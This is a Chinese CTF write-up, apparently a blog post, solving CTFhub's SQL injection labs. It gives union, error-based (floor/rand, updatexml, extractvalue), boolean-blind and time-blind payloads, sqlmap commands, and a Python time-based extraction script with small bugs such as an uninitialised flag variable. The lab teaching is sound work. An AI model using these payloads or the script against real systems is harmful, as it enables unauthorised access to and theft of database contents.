CTFhub技能树web-SQL注入

1.数字型
1 and 1=1 正常输出
在这里插入图片描述
1 and 1=2 不输出
在这里插入图片描述
存在数字型注入,接下来猜字段
1 order by 1输出正常
在这里插入图片描述
1 order by 2正常
在这里插入图片描述
1 order by 3 不输出,所以有两个字段
在这里插入图片描述
1 and 1=2 union select 1,database(),看数据库名字
在这里插入图片描述
1,group_concat(table_name)from information_schema.tables where table_schema=database(),看表名
在这里插入图片描述
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=‘flag’,看列名
在这里插入图片描述
id=1 and 1=2 union select 1,group_concat(flag)from sqli.flag
在这里插入图片描述2. 字符型
与数字型相差不多,只要是要用(#,–,--+)来屏蔽后面的’号
sqlmap跑一下:
在这里插入图片描述
数据库名字出来了
在这里插入图片描述
接下来爆表(-D sqli --tables)
在这里插入图片描述
再爆列名(-D sqli -T flag --columns)
在这里插入图片描述
最后dump出flag(-D sqli -T flag -C flag --dump)

在这里插入图片描述
3.报错注入
方法1:

1 Union select count(1),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

concat(str1,str2,…) :
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL.
floor():
向下取整的函数,例如floor(1.3232)=1
round():
四舍五入
rand():
伪随机数发生器(因此这个函数是有周期的,这也就是它为什么叫伪随机的原因,而周期的大小是由种子决定的,并且种子确定了那么这个序列就确定了,参数就是种子)
报错原因:

我们先看看代码:

1 Union select count(1),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

x就是concat(database(),0x26,floor(rand(0)*2))

当我们执行报错语句进行查询时,首先要进行分组,然后进行计数。其实在分组这个过程会建立一个虚拟表,这个表会包含两个字段 key(floor(rand(0)*2))和count(**),在这张虚拟表中,group by后面的字段作为主键

按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

读取第一条数据时:第一次由图可知0为key值,这时候的虚拟表是空的,所以将0插入key中,然后在插入的时候又会运行一次,根据图中的规律所以插入的应该是1的key值。(正常)

读取第二条数据时:第一次由图可知1为key值,所以不计算第二次,直接在key为1的上面加1.

读取第三条数据时:第一次由图可知0为key值,与前面去对比发现不存在,这时候再计算第二次,key就为1了,那么就报错了。

在这里插入图片描述
rand(0)实质上是下图这个规律,然后0<rand(0)*2<2,而加上了floor后就是0<=floor(rand(0)*2)<=1,而floor是一个取整函数在0-1之间只有1和0,因此floor(rand(0)*2)的序列中就只含有0和1,随机性就很差,就容易出错误。(本质是造成主键冲突)

由此可以得出乘的数越大那么floor取整的范围就越大而随机性就越好,那么就越不容易出错,因此选用2作为乘数,用1的话全部都是0不会出现错误。
在这里插入图片描述爆表名:
查询第一行的:

1 Union select count(1),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

在这里插入图片描述
查询第二行的:

1 Union select count(1),concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x

在这里插入图片描述
接下来爆列名:

1 Union select count(1),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

然后得到flag:

1 Union select count(1),concat((select flag from sqli.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

在这里插入图片描述
方法二:
使用updatexml函数:

UPDATEXML (XML_document, XPath_string, new_value); 

利用Xpath语法错误报错来显示我们要显示的东西。

1 and updatexml(1,concat(0x27,database()),1)

在这里插入图片描述
爆表名:

1 and updatexml(1,concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)

在这里插入图片描述
爆列名:

1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e),3)

在这里插入图片描述
flag:
在这里插入图片描述发现不全然后用:

1 and updatexml(1,concat(0x7e,mid((select flag from sqli.flag),32),0x7e),1)

在这里插入图片描述
方法三:
1 and extractvalue(1,concat(0x7e,database(),0x7e))
与方法二相差不多

4.布尔盲注
看到一个带哥的方法:
https://blog.csdn.net/weixin_44732566/article/details/104455318

if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))

用if(1,2,3),这个函数首先会看1对不对,如果对,就返回2,否则返回3。

5.时间盲注:

sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;

if((条件),m,n)语句:若条件为真 返回m,若条件为假 返回n;

length(database())语句:返回当前数据库名长度;

if((substr(database(),1,1)="chr",sleep(1),1))#核心代码

参考了上面那个大哥写的脚本。。。

import requests

import time

 

s= requests.Session()

url = "http://challenge-46b001e80a26817d.sandbox.ctfhub.com:10080/"

 

numbers = [i for i in range(48,58)]

char = [i for i in range(97,126)]

total = numbers + char

 

def database():

    database = ""

    for i in range(0,9):

        for j in 'abcdefghijklmnopqrstuvwxyz':

            payload = "1 and if(substr(database(),%d,1)='%s',sleep(1),1)"%(i,j)

            start_time = time.time()

            str_get = s.get(url=url+"?id="+payload)

            end_time = time.time()

            t = end_time-start_time

            if t>1:

                database += j

    print(database)

 

def table_name():

    table_names = []

    for i in range(0,4):

        table_name=""

        for j in range(1,9):

            for k in 'abcdefghijklmnopqrstuvwxyz':

                payload = "1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1) = '%s',sleep(1),1)"%(i,j,k)

                start_time = time.time()

                str_get = s.get(url=url + '?id=' + payload).text

                end_time = time.time()

                t = end_time - start_time

                if t > 1:

                    table_name += k

                    #print(table_name)

        table_names.append(table_name)

    table_names = [i for i in table_names if i !=""]

    print(table_names)

 

def column_name():

    column_names = []

    for i in range(0,4):

        column_name=""

        for j in range(1,9):

            for k in 'abcdefghijklmnopqrstuvwxyz':

                payload = "1 and if(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1) = '%s',sleep(1),1)"%(i,j,k)

                start_time = time.time()

                str_get = s.get(url=url + '?id=' + payload).text

                end_time = time.time()

                t = end_time - start_time

                if t > 1:

                    column_name += k

                    #print(column_name)

        column_names.append(column_name)

    column_names = [i for i in column_names if i != ""]

    print(column_names)

 

def flag():

    for i in range(1, 50):

        print(i)

        for j in total:

            payload = "1 and if(substr((select flag from flag),%d,1) = '%s',sleep(1),1)"%(i, chr(j))

            start_time = time.time()

            str_get = s.get(url=url + '?id=' + payload).text

            end_time = time.time()

            t = end_time - start_time

            if t > 1:

                flag += chr(j)

    print(flag)

 

database()

table_name()

column_name()

flag()

还是sqlmap好用啊

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值